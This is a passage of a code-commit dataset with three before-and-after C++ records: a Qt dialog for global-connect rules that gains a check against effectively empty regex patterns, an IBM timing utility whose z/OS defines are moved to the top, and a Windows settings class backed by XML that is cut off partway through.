layout_->addWidget(widgets.region,\n                     row_idx,\n                     toValue(GlobalConnectField::Region),\n                     Qt::AlignCenter);\n\n  widgets.run = new QPushButton(this);\n  widgets.run->setIcon(QIcon(\":\/play.png\"));\n  widgets.run->setToolTip(tr(\"Run\"));\n  widgets.run->setAutoDefault(false);\n  widgets.run->setDefault(false);\n  connect(widgets.run, &QPushButton::pressed, this, [this, gc]() {\n    runRule(gc);\n  });\n  layout_->addWidget(\n      widgets.run, row_idx, toValue(GlobalConnectField::Run), Qt::AlignCenter);\n\n  widgets.remove = new QPushButton(this);\n  widgets.remove->setIcon(QIcon(\":\/delete.png\"));\n  widgets.remove->setToolTip(tr(\"Delete\"));\n  widgets.remove->setAutoDefault(false);\n  widgets.remove->setDefault(false);\n  connect(widgets.remove, &QPushButton::pressed, this, [this, gc]() {\n    deleteRule(gc);\n  });\n  layout_->addWidget(widgets.remove,\n                     row_idx,\n                     toValue(GlobalConnectField::Remove),\n                     Qt::AlignCenter);\n\n  adjustSize();\n}\n\nvoid GlobalConnectDialog::makeRule()\n{\n  const std::string inst_pattern = inst_pattern_->text().toStdString();\n  const std::string pin_pattern = pin_pattern_->text().toStdString();\n  odb::dbNet* net = net_->currentData().value<odb::dbNet*>();\n  odb::dbRegion* region = region_->currentData().value<odb::dbRegion*>();\n\n  try {\n    auto* rule\n        = odb::dbGlobalConnect::create(net, region, inst_pattern, pin_pattern);\n    addRule(rule);\n  } catch (const std::runtime_error& error) {\n    QMessageBox::critical(this, error.what(), \"Failed to add rule.\");\n  }\n\n  layout_->removeWidget(inst_pattern_);\n  layout_->removeWidget(pin_pattern_);\n  layout_->removeWidget(net_);\n  layout_->removeWidget(region_);\n  layout_->removeWidget(add_);\n\n  const int row_idx = rules_.size() + 1;\n  layout_->addWidget(inst_pattern_,\n                     row_idx,\n                     toValue(GlobalConnectField::Instance),\n                     Qt::AlignCenter);\n  layout_->addWidget(\n      pin_pattern_, row_idx, toValue(GlobalConnectField::Pin), Qt::AlignCenter);\n  layout_->addWidget(\n      net_, row_idx, toValue(GlobalConnectField::Net), Qt::AlignCenter);\n  layout_->addWidget(\n      region_, row_idx, toValue(GlobalConnectField::Region), Qt::AlignCenter);\n  layout_->addWidget(\n      add_, row_idx, toValue(GlobalConnectField::Run), Qt::AlignCenter);\n\n  inst_pattern_->clear();\n  pin_pattern_->clear();\n  add_->setEnabled(false);\n\n  adjustSize();\n}\n\nvoid GlobalConnectDialog::announceConnections(int connections)\n{\n  connections_->setText(QString::fromStdString(fmt::format(\"Connected {} pin(s)\", connections)));\n}\n\nvoid GlobalConnectDialog::runRule(odb::dbGlobalConnect* gc)\n{\n  QApplication::setOverrideCursor(Qt::WaitCursor);\n  QApplication::processEvents();\n  int connections = 0;\n  if (gc == nullptr) {\n    connections = block_->globalConnect();\n  } else {\n    connections = block_->globalConnect(gc);\n  }\n  QApplication::restoreOverrideCursor();\n  emit connectionsMade(connections);\n}\n\nvoid GlobalConnectDialog::addRegexTextChanged(const QString& text)\n{\n  \/\/ test if this is a valid regex\n  try {\n    std::regex(text.toStdString());\n  }\n  catch (const std::regex_error&) {\n    add_->setEnabled(false);\n    return;\n  }\n\n  const bool enable = !inst_pattern_->text().isEmpty() && !pin_pattern_->text().isEmpty();\n  add_->setEnabled(enable);\n}\n\n}  \/\/ namespace gui\n<commit_msg>gui: add check for effectively empty regex<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright (c) 2022, The Regents of the University of California\n\/\/ All rights reserved.\n\/\/\n\/\/ BSD 3-Clause License\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright notice, this\n\/\/   list of conditions and the following disclaimer.\n\/\/\n\/\/ * Redistributions in binary form must reproduce the above copyright notice,\n\/\/   this list of conditions and the following disclaimer in the documentation\n\/\/   and\/or other materials provided with the distribution.\n\/\/\n\/\/ * Neither the name of the copyright holder nor the names of its\n\/\/   contributors may be used to endorse or promote products derived from\n\/\/   this software without specific prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"globalConnectDialog.h\"\n#include \"utl\/Logger.h\"\n\n#include <QApplication>\n#include <QHBoxLayout>\n#include <QLabel>\n#include <QMessageBox>\n#include <QVBoxLayout>\n\nQ_DECLARE_METATYPE(odb::dbNet*);\nQ_DECLARE_METATYPE(odb::dbRegion*);\n\nnamespace gui {\n\nenum class GlobalConnectField\n{\n  Instance,\n  Pin,\n  Net,\n  Region,\n  Run,\n  Remove\n};\n\nstatic int toValue(GlobalConnectField f)\n{\n  return static_cast<int>(f);\n}\n\n\/\/\/\/\/\/\/\/\/\n\nGlobalConnectDialog::GlobalConnectDialog(odb::dbBlock* block, QWidget* parent)\n    : QDialog(parent),\n      block_(block),\n      layout_(new QGridLayout),\n      add_(new QPushButton(this)),\n      clear_(new QPushButton(this)),\n      run_(new QPushButton(this)),\n      rules_({}),\n      inst_pattern_(new QLineEdit(this)),\n      pin_pattern_(new QLineEdit(this)),\n      net_(new QComboBox(this)),\n      region_(new QComboBox(this)),\n      connections_(new QLabel(this))\n{\n  setWindowTitle(\"Global Connect Rules\");\n\n  QVBoxLayout* layout = new QVBoxLayout;\n  layout->addLayout(layout_);\n  QHBoxLayout* button_layout = new QHBoxLayout;\n  button_layout->addWidget(clear_);\n  button_layout->addWidget(run_);\n  layout->addLayout(button_layout);\n  layout->addWidget(connections_);\n\n  setLayout(layout);\n\n  add_->setIcon(QIcon(\":\/add.png\"));\n  add_->setToolTip(tr(\"Run\"));\n  add_->setAutoDefault(false);\n  add_->setDefault(false);\n  add_->setEnabled(false);\n\n  run_->setIcon(QIcon(\":\/play.png\"));\n  run_->setToolTip(tr(\"Run\"));\n  run_->setAutoDefault(false);\n  run_->setDefault(false);\n\n  clear_->setIcon(QIcon(\":\/delete.png\"));\n  clear_->setToolTip(tr(\"Clear\"));\n  clear_->setAutoDefault(false);\n  clear_->setDefault(false);\n\n  connect(add_, SIGNAL(pressed()), this, SLOT(makeRule()));\n  connect(run_, SIGNAL(pressed()), this, SLOT(runRules()));\n  connect(clear_, SIGNAL(pressed()), this, SLOT(clearRules()));\n\n  layout_->addWidget(new QLabel(\"Instance pattern\", this),\n                     0,\n                     toValue(GlobalConnectField::Instance),\n                     Qt::AlignCenter);\n  layout_->addWidget(new QLabel(\"Pin pattern\", this),\n                     0,\n                     toValue(GlobalConnectField::Pin),\n                     Qt::AlignCenter);\n  layout_->addWidget(new QLabel(\"Net\", this),\n                     0,\n                     toValue(GlobalConnectField::Net),\n                     Qt::AlignCenter);\n  layout_->addWidget(new QLabel(\"Region\", this),\n                     0,\n                     toValue(GlobalConnectField::Region),\n                     Qt::AlignCenter);\n  for (auto* rule : block_->getGlobalConnects()) {\n    addRule(rule);\n  }\n\n  region_->addItem(\"All\",\n                   QVariant::fromValue(static_cast<odb::dbRegion*>(nullptr)));\n  for (auto* region : block_->getRegions()) {\n    region_->addItem(QString::fromStdString(region->getName()),\n                     QVariant::fromValue(static_cast<odb::dbRegion*>(region)));\n  }\n\n  for (auto* net : block_->getNets()) {\n    if (!net->isSpecial()) {\n      continue;\n    }\n    net_->addItem(QString::fromStdString(net->getName()),\n                  QVariant::fromValue(static_cast<odb::dbNet*>(net)));\n  }\n\n  const int row_idx = rules_.size() + 1;\n  layout_->addWidget(inst_pattern_,\n                     row_idx,\n                     toValue(GlobalConnectField::Instance),\n                     Qt::AlignCenter);\n  layout_->addWidget(\n      pin_pattern_, row_idx, toValue(GlobalConnectField::Pin), Qt::AlignCenter);\n  layout_->addWidget(\n      net_, row_idx, toValue(GlobalConnectField::Net), Qt::AlignCenter);\n  layout_->addWidget(\n      region_, row_idx, toValue(GlobalConnectField::Region), Qt::AlignCenter);\n  layout_->addWidget(\n      add_, row_idx, toValue(GlobalConnectField::Run), Qt::AlignCenter);\n\n  connect(this, SIGNAL(connectionsMade(int)), this, SLOT(announceConnections(int)));\n  connect(inst_pattern_, SIGNAL(textChanged(const QString&)), this, SLOT(addRegexTextChanged(const QString&)));\n  connect(pin_pattern_, SIGNAL(textChanged(const QString&)), this, SLOT(addRegexTextChanged(const QString&)));\n}\n\nvoid GlobalConnectDialog::runRules()\n{\n  runRule(nullptr);\n}\n\nvoid GlobalConnectDialog::clearRules()\n{\n  auto rule_set = block_->getGlobalConnects();\n  std::set<odb::dbGlobalConnect*> rules(rule_set.begin(), rule_set.end());\n  for (auto* rule : rules) {\n    deleteRule(rule);\n  }\n}\n\nvoid GlobalConnectDialog::deleteRule(odb::dbGlobalConnect* gc)\n{\n  auto& widgets = rules_[gc];\n\n  layout_->removeWidget(widgets.inst_pattern);\n  layout_->removeWidget(widgets.pin_pattern);\n  layout_->removeWidget(widgets.net);\n  layout_->removeWidget(widgets.region);\n  layout_->removeWidget(widgets.run);\n  layout_->removeWidget(widgets.remove);\n\n  delete widgets.inst_pattern;\n  delete widgets.pin_pattern;\n  delete widgets.net;\n  delete widgets.region;\n  delete widgets.run;\n  delete widgets.remove;\n\n  rules_.erase(gc);\n\n  odb::dbGlobalConnect::destroy(gc);\n\n  adjustSize();\n}\n\nvoid GlobalConnectDialog::addRule(odb::dbGlobalConnect* gc)\n{\n  const int row_idx = rules_.size() + 1;\n  auto& widgets = rules_[gc];\n\n  auto setup_line = [](QLineEdit* line) {\n    line->setReadOnly(true);\n    line->setStyleSheet(\"color: black; background-color: lightGray\");\n  };\n\n  widgets.inst_pattern = new QLineEdit(this);\n  setup_line(widgets.inst_pattern);\n  widgets.inst_pattern->setText(QString::fromStdString(gc->getInstPattern()));\n  layout_->addWidget(widgets.inst_pattern,\n                     row_idx,\n                     toValue(GlobalConnectField::Instance),\n                     Qt::AlignCenter);\n  widgets.pin_pattern = new QLineEdit(this);\n  setup_line(widgets.pin_pattern);\n  widgets.pin_pattern->setText(QString::fromStdString(gc->getPinPattern()));\n  layout_->addWidget(widgets.pin_pattern,\n                     row_idx,\n                     toValue(GlobalConnectField::Pin),\n                     Qt::AlignCenter);\n  widgets.net = new QLineEdit(this);\n  setup_line(widgets.net);\n  widgets.net->setText(QString::fromStdString(gc->getNet()->getName()));\n  layout_->addWidget(\n      widgets.net, row_idx, toValue(GlobalConnectField::Net), Qt::AlignCenter);\n\n  widgets.region = new QLineEdit(this);\n  odb::dbRegion* dbregion = gc->getRegion();\n  if (dbregion == nullptr) {\n    widgets.region->setText(\"All\");\n  } else {\n    widgets.region->setText(QString::fromStdString(dbregion->getName()));\n  }\n  setup_line(widgets.region);\n  layout_->addWidget(widgets.region,\n                     row_idx,\n                     toValue(GlobalConnectField::Region),\n                     Qt::AlignCenter);\n\n  widgets.run = new QPushButton(this);\n  widgets.run->setIcon(QIcon(\":\/play.png\"));\n  widgets.run->setToolTip(tr(\"Run\"));\n  widgets.run->setAutoDefault(false);\n  widgets.run->setDefault(false);\n  connect(widgets.run, &QPushButton::pressed, this, [this, gc]() {\n    runRule(gc);\n  });\n  layout_->addWidget(\n      widgets.run, row_idx, toValue(GlobalConnectField::Run), Qt::AlignCenter);\n\n  widgets.remove = new QPushButton(this);\n  widgets.remove->setIcon(QIcon(\":\/delete.png\"));\n  widgets.remove->setToolTip(tr(\"Delete\"));\n  widgets.remove->setAutoDefault(false);\n  widgets.remove->setDefault(false);\n  connect(widgets.remove, &QPushButton::pressed, this, [this, gc]() {\n    deleteRule(gc);\n  });\n  layout_->addWidget(widgets.remove,\n                     row_idx,\n                     toValue(GlobalConnectField::Remove),\n                     Qt::AlignCenter);\n\n  adjustSize();\n}\n\nvoid GlobalConnectDialog::makeRule()\n{\n  const std::string inst_pattern = inst_pattern_->text().toStdString();\n  const std::string pin_pattern = pin_pattern_->text().toStdString();\n  odb::dbNet* net = net_->currentData().value<odb::dbNet*>();\n  odb::dbRegion* region = region_->currentData().value<odb::dbRegion*>();\n\n  try {\n    auto* rule\n        = odb::dbGlobalConnect::create(net, region, inst_pattern, pin_pattern);\n    addRule(rule);\n  } catch (const std::runtime_error& error) {\n    QMessageBox::critical(this, error.what(), \"Failed to add rule.\");\n  }\n\n  layout_->removeWidget(inst_pattern_);\n  layout_->removeWidget(pin_pattern_);\n  layout_->removeWidget(net_);\n  layout_->removeWidget(region_);\n  layout_->removeWidget(add_);\n\n  const int row_idx = rules_.size() + 1;\n  layout_->addWidget(inst_pattern_,\n                     row_idx,\n                     toValue(GlobalConnectField::Instance),\n                     Qt::AlignCenter);\n  layout_->addWidget(\n      pin_pattern_, row_idx, toValue(GlobalConnectField::Pin), Qt::AlignCenter);\n  layout_->addWidget(\n      net_, row_idx, toValue(GlobalConnectField::Net), Qt::AlignCenter);\n  layout_->addWidget(\n      region_, row_idx, toValue(GlobalConnectField::Region), Qt::AlignCenter);\n  layout_->addWidget(\n      add_, row_idx, toValue(GlobalConnectField::Run), Qt::AlignCenter);\n\n  inst_pattern_->clear();\n  pin_pattern_->clear();\n  add_->setEnabled(false);\n\n  adjustSize();\n}\n\nvoid GlobalConnectDialog::announceConnections(int connections)\n{\n  connections_->setText(QString::fromStdString(fmt::format(\"Connected {} pin(s)\", connections)));\n}\n\nvoid GlobalConnectDialog::runRule(odb::dbGlobalConnect* gc)\n{\n  QApplication::setOverrideCursor(Qt::WaitCursor);\n  QApplication::processEvents();\n  int connections = 0;\n  if (gc == nullptr) {\n    connections = block_->globalConnect();\n  } else {\n    connections = block_->globalConnect(gc);\n  }\n  QApplication::restoreOverrideCursor();\n  emit connectionsMade(connections);\n}\n\nvoid GlobalConnectDialog::addRegexTextChanged(const QString& text)\n{\n  \/\/ test if this is a valid regex\n  try {\n    std::regex(text.toStdString());\n  }\n  catch (const std::regex_error&) {\n    add_->setEnabled(false);\n    return;\n  }\n\n  QString check = text;\n  check.remove('$');\n  check.remove('^');\n  if (check.isEmpty()) {\n    add_->setEnabled(false);\n    return;\n  }\n\n  const bool enable = !inst_pattern_->text().isEmpty() && !pin_pattern_->text().isEmpty();\n  add_->setEnabled(enable);\n}\n\n}  \/\/ namespace gui\n<|endoftext|>"}
{"text":"<commit_before>\/*******************************************************************************\n * Copyright 2016 IBM Corp.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *******************************************************************************\/\n\n\n#include \"ibmras\/common\/util\/sysUtils.h\"\n\n#if defined(WINDOWS)\n\t#include <windows.h>\n\/\/    #include <winsock2.h>\n\t#include <Psapi.h>\n#elif defined(LINUX) || defined(__MACH__) || defined(__APPLE__)\n#include <sys\/time.h>\n#elif defined(AIX)\n#include <sys\/time.h>\n#elif defined(_ZOS)\n#define _XOPEN_SOURCE_EXTENDED 1\n#undef _ALL_SOURCE\n#include <sys\/time.h>\n#endif\n\n#include <ctime>\n\n\nnamespace ibmras {\nnamespace common {\nnamespace util {\n\nunsigned long long getMilliseconds() {\n\tunsigned long long millisecondsSinceEpoch;\n#if defined(WINDOWS)\n\n\tSYSTEMTIME st;\n\tGetSystemTime(&st);\n\n\tmillisecondsSinceEpoch = time(NULL)*1000+st.wMilliseconds;\n\n#else\n\t\tstruct timeval tv;\n\tgettimeofday(&tv, NULL);\n\n\tmillisecondsSinceEpoch =\n\t    (unsigned long long)(tv.tv_sec) * 1000 +\n\t    (unsigned long long)(tv.tv_usec) \/ 1000;\n#endif\n\treturn millisecondsSinceEpoch;\n}\n\n}\/*end of namespace util*\/\n}\/*end of namespace common*\/\n} \/*end of namespace ibmras*\/\n\n\n<commit_msg>Put z\/OS #defines at the top of sysUtils.cpp<commit_after>\/*******************************************************************************\n * Copyright 2016 IBM Corp.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *******************************************************************************\/\n#if defined(_ZOS)\n#define _XOPEN_SOURCE_EXTENDED 1\n#undef _ALL_SOURCE\n#endif\n\n#include \"ibmras\/common\/util\/sysUtils.h\"\n\n#if defined(WINDOWS)\n\t#include <windows.h>\n\/\/    #include <winsock2.h>\n\t#include <Psapi.h>\n#elif defined(LINUX) || defined(__MACH__) || defined(__APPLE__)\n#include <sys\/time.h>\n#elif defined(AIX)\n#include <sys\/time.h>\n#elif defined(_ZOS)\n#include <sys\/time.h>\n#endif\n\n#include <ctime>\n\n\nnamespace ibmras {\nnamespace common {\nnamespace util {\n\nunsigned long long getMilliseconds() {\n\tunsigned long long millisecondsSinceEpoch;\n#if defined(WINDOWS)\n\n\tSYSTEMTIME st;\n\tGetSystemTime(&st);\n\n\tmillisecondsSinceEpoch = time(NULL)*1000+st.wMilliseconds;\n\n#else\n\t\tstruct timeval tv;\n\tgettimeofday(&tv, NULL);\n\n\tmillisecondsSinceEpoch =\n\t    (unsigned long long)(tv.tv_sec) * 1000 +\n\t    (unsigned long long)(tv.tv_usec) \/ 1000;\n#endif\n\treturn millisecondsSinceEpoch;\n}\n\n}\/*end of namespace util*\/\n}\/*end of namespace common*\/\n} \/*end of namespace ibmras*\/\n\n\n<|endoftext|>"}
{"text":"<commit_before>#include \"Settings.h\"\n\n#include <Shlwapi.h>\n#include <algorithm>\n\n#include \"HotkeyActions.h\"\n#include \"Logger.h\"\n#include \"MiscUtils.h\"\n#include \"Skin.h\"\n#include \"StringUtils.h\"\n\n#define XML_AUDIODEV \"audioDeviceID\"\n#define XML_HIDE_WHENFULL \"hideFullscreen\"\n#define XML_HIDEANIM \"hideAnimation\"\n#define XML_HIDETIME \"hideDelay\"\n#define XML_HIDESPEED \"hideSpeed\"\n#define XML_LANGUAGE \"language\"\n#define XML_NOTIFYICON \"notifyIcon\"\n#define XML_ONTOP \"onTop\"\n#define XML_OSD_OFFSET \"osdEdgeOffset\"\n#define XML_OSD_POS \"osdPosition\"\n#define XML_OSD_X \"osdX\"\n#define XML_OSD_Y \"osdY\"\n#define XML_SKIN \"skin\"\n#define XML_SOUNDS \"soundEffects\"\n\nstd::wstring Settings::_appDir(L\"\");\nSettings *Settings::instance;\n\nstd::vector<std::wstring> Settings::OSDPosNames\n        = { L\"top\", L\"left\", L\"right\", L\"bottom\", L\"center\", L\"custom\" };\nstd::vector<std::wstring> Settings::HideAnimNames = { L\"none\", L\"fade\" };\n\nSettings::Settings() {\n\n}\n\nSettings *Settings::Instance() {\n    if (instance == NULL) {\n        instance = new Settings();\n        instance->Reload();\n    }\n    return instance;\n}\n\nvoid Settings::Reload() {\n    _file = AppDir() + L\"\\\\Settings.xml\";\n    CLOG(L\"Loading settings file: %s\", _file.c_str());\n\n    std::string u8FileName = StringUtils::Narrow(_file);\n    tinyxml2::XMLError result = _xml.LoadFile(u8FileName.c_str());\n    if (result != tinyxml2::XMLError::XML_SUCCESS) {\n        throw std::runtime_error(\"Failed to parse XML file\");\n    }\n\n    _root = _xml.GetDocument()->FirstChildElement(\"settings\");\n    if (_root == NULL) {\n        throw std::runtime_error(\"Could not find root XML element\");\n    }\n\n    _skin = new Skin(SkinXML());\n}\n\nint Settings::Save() {\n    FILE *stream;\n    errno_t err = _wfopen_s(&stream, _file.c_str(), L\"w\");\n    if (err != 0) {\n        CLOG(L\"Could not open settings file for writing!\");\n        return 100 + err;\n    }\n    tinyxml2::XMLError result = _xml.SaveFile(stream);\n    fclose(stream);\n    return result;\n}\n\nstd::wstring Settings::AppDir() {\n    if (_appDir.empty()) {\n        wchar_t path[MAX_PATH];\n        GetModuleFileName(NULL, path, MAX_PATH);\n        PathRemoveFileSpec(path);\n        _appDir = std::wstring(path);\n    }\n    return _appDir;\n}\n\nstd::wstring Settings::SettingsApp() {\n    return Settings::AppDir() + L\"\\\\\" + SETTINGS_APP;\n}\n\nstd::wstring Settings::LanguagesDir() {\n    return AppDir() + L\"\\\\\" + LANG_DIR;\n}\n\nstd::wstring Settings::AudioDeviceID() {\n    return GetText(XML_AUDIODEV);\n}\n\nstd::wstring Settings::LanguageName() {\n    std::wstring lang = GetText(XML_LANGUAGE);\n\n    if (lang == L\"\") {\n        return DEFAULT_LANGUAGE;\n    } else {\n        return lang;\n    }\n}\n\nbool Settings::AlwaysOnTop() {\n    return GetEnabled(XML_ONTOP);\n}\n\nbool Settings::HideFullscreen() {\n    return GetEnabled(XML_HIDE_WHENFULL);\n}\n\nint Settings::OSDEdgeOffset() {\n    if (HasSetting(XML_OSD_OFFSET)) {\n        return GetInt(XML_OSD_OFFSET);\n    } else {\n        return DEFAULT_OSD_OFFSET;\n    }\n}\n\nvoid Settings::OSDEdgeOffset(int offset) {\n    SetInt(XML_OSD_OFFSET, offset);\n}\n\nSettings::OSDPos Settings::OSDPosition() {\n    std::wstring pos = GetText(XML_OSD_POS);\n    std::transform(pos.begin(), pos.end(), pos.begin(), ::tolower);\n\n    for (unsigned int i = 0; i < OSDPosNames.size(); ++i) {\n        if (pos == OSDPosNames[i]) {\n            return (Settings::OSDPos) i;\n        }\n    }\n\n    return DEFAULT_OSD_POS;\n}\n\nvoid Settings::OSDPosition(OSDPos pos) {\n    std::wstring posStr = OSDPosNames[(int) pos];\n    SetText(XML_OSD_POS, StringUtils::Narrow(posStr));\n}\n\nint Settings::OSDX() {\n    return GetInt(XML_OSD_X);\n}\n\nvoid Settings::OSDX(int x) {\n    SetInt(XML_OSD_X, x);\n}\n\nint Settings::OSDY() {\n    return GetInt(XML_OSD_Y);\n}\n\nvoid Settings::OSDY(int y) {\n    SetInt(XML_OSD_Y, y);\n}\n\nSkin *Settings::CurrentSkin() {\n    return _skin;\n}\n\nSettings::HideAnim Settings::HideAnimation() {\n    std::wstring anim = GetText(XML_HIDEANIM);\n    std::transform(anim.begin(), anim.end(), anim.begin(), ::tolower);\n\n    for (unsigned int i = 0; i < HideAnimNames.size(); ++i) {\n        if (anim == HideAnimNames[i]) {\n            return (Settings::HideAnim) i;\n        }\n    }\n\n    return DEFAULT_HIDE_ANIM;\n}\n\nvoid Settings::HideAnimation(Settings::HideAnim anim) {\n    std::wstring hideStr = HideAnimNames[(int) anim];\n    SetText(XML_HIDEANIM, StringUtils::Narrow(hideStr));\n}\n\nint Settings::HideDelay() {\n    return GetInt(XML_HIDETIME);\n}\n\nvoid Settings::HideDelay(int delay) {\n    SetInt(XML_HIDETIME, delay);\n}\n\nint Settings::HideSpeed() {\n    return GetInt(XML_HIDESPEED);\n}\n\nvoid Settings::HideSpeed(int speed) {\n    SetInt(XML_HIDESPEED, speed);\n}\n\nbool Settings::CurrentSkin(std::wstring skinName) {\n    std::string name = StringUtils::Narrow(skinName);\n    std::wstring xml = SkinXML(skinName);\n    if (MiscUtils::FileExists(xml) == false) {\n        return false;\n    }\n\n    SetText(XML_SKIN, name);\n    return true;\n}\n\nstd::wstring Settings::SkinName() {\n    std::wstring name = GetText(\"skin\");\n\n    if (name == L\"\") {\n        return DEFAULT_SKIN;\n    } else {\n        return name;\n    }\n}\n\nstd::wstring Settings::SkinXML() {\n    return SkinXML(SkinName());\n}\n\nstd::wstring Settings::SkinXML(std::wstring skinName) {\n    std::wstring skinXML = Settings::AppDir() + L\"\\\\\" + SKINS_DIR L\"\\\\\"\n        + skinName + L\"\\\\\" SKIN_XML;\n    return skinXML;\n}\n\nstd::unordered_map<int, int> Settings::Hotkeys() {\n    std::unordered_map<int, int> keyMappings;\n\n    tinyxml2::XMLElement *hotkeys = _root->FirstChildElement(\"hotkeys\");\n    tinyxml2::XMLElement *hotkey = hotkeys->FirstChildElement(\"hotkey\");\n\n    for (; hotkey != NULL; hotkey = hotkey->NextSiblingElement()) {\n        int action = -1;\n        hotkey->QueryIntAttribute(\"action\", &action);\n        if (action == -1) {\n            CLOG(L\"No action provided for hotkey; skipping\");\n            continue;\n        }\n\n        int combination = -1;\n        hotkey->QueryIntAttribute(\"combination\", &combination);\n        if (combination == -1) {\n            CLOG(L\"No key combination provided for hotkey; skipping\");\n            continue;\n        }\n        \n        \/* Whew, we made it! *\/\n        CLOG(L\"Adding hotkey mapping: %d -> %d\", combination, action);\n        keyMappings[combination] = action;\n    }\n\n    return keyMappings;\n}\n\nbool Settings::NotifyIconEnabled() {\n    return GetEnabled(XML_NOTIFYICON);\n}\n\nvoid Settings::NotifyIconEnabled(bool enable) {\n    SetEnabled(XML_NOTIFYICON, enable);\n}\n\nbool Settings::SoundEffectsEnabled() {\n    return GetEnabled(XML_SOUNDS);\n}\n\nvoid Settings::SoundEffectsEnabled(bool enable) {\n    SetEnabled(XML_SOUNDS, enable);\n}\n\nbool Settings::HasSetting(std::string elementName) {\n    tinyxml2::XMLElement *el = _root->FirstChildElement(elementName.c_str());\n    return (el != NULL);\n}\n\nbool Settings::GetEnabled(std::string elementName) {\n    tinyxml2::XMLElement *el = _root->FirstChildElement(elementName.c_str());\n    if (el == NULL) {\n        CLOG(L\"Warning: XML element '%s' not found\", elementName.c_str());\n        return false;\n    } else {\n        bool val = false;\n        el->QueryBoolText(&val);\n        return val;\n    }\n}\n\nvoid Settings::SetEnabled(std::string elementName, bool enabled) {\n    tinyxml2::XMLElement *el = GetOrCreateElement(elementName);\n    el->SetText(enabled ? \"true\" : \"false\");\n}\n\nstd::wstring Settings::GetText(std::string elementName) {\n    tinyxml2::XMLElement *el = _root->FirstChildElement(elementName.c_str());\n    if (el == NULL) {\n        CLOG(L\"Warning: XML element '%s' not found\", elementName.c_str());\n        return L\"\";\n    }\n\n    const char* str = el->GetText();\n    if (str == NULL) {\n        return L\"\";\n    } else {\n        return StringUtils::Widen(str);\n    }\n}\n\nvoid Settings::SetText(std::string elementName, std::string text) {\n    tinyxml2::XMLElement *el = GetOrCreateElement(elementName);\n    el->SetText(text.c_str());\n}\n\nint Settings::GetInt(std::string elementName) {\n    tinyxml2::XMLElement *el = _root->FirstChildElement(elementName.c_str());\n    if (el == NULL) {\n        CLOG(L\"Warning: XML element '%s' not found\", elementName.c_str());\n        return 0;\n    }\n\n    int val = 0;\n    el->QueryIntText(&val);\n    return val;\n}\n\nvoid Settings::SetInt(std::string elementName, int value) {\n    tinyxml2::XMLElement *el = GetOrCreateElement(elementName);\n    el->SetText(value);\n}\n\ntinyxml2::XMLElement *Settings::GetOrCreateElement(std::string elementName) {\n    tinyxml2::XMLElement *el = _root->FirstChildElement(elementName.c_str());\n    if (el == NULL) {\n        el = _xml.NewElement(elementName.c_str());\n        _root->InsertEndChild(el);\n    }\n    return el;\n}<commit_msg>Always on top, hide fullscreen setters<commit_after>#include \"Settings.h\"\n\n#include <Shlwapi.h>\n#include <algorithm>\n\n#include \"HotkeyActions.h\"\n#include \"Logger.h\"\n#include \"MiscUtils.h\"\n#include \"Skin.h\"\n#include \"StringUtils.h\"\n\n#define XML_AUDIODEV \"audioDeviceID\"\n#define XML_HIDE_WHENFULL \"hideFullscreen\"\n#define XML_HIDEANIM \"hideAnimation\"\n#define XML_HIDETIME \"hideDelay\"\n#define XML_HIDESPEED \"hideSpeed\"\n#define XML_LANGUAGE \"language\"\n#define XML_NOTIFYICON \"notifyIcon\"\n#define XML_ONTOP \"onTop\"\n#define XML_OSD_OFFSET \"osdEdgeOffset\"\n#define XML_OSD_POS \"osdPosition\"\n#define XML_OSD_X \"osdX\"\n#define XML_OSD_Y \"osdY\"\n#define XML_SKIN \"skin\"\n#define XML_SOUNDS \"soundEffects\"\n\nstd::wstring Settings::_appDir(L\"\");\nSettings *Settings::instance;\n\nstd::vector<std::wstring> Settings::OSDPosNames\n        = { L\"top\", L\"left\", L\"right\", 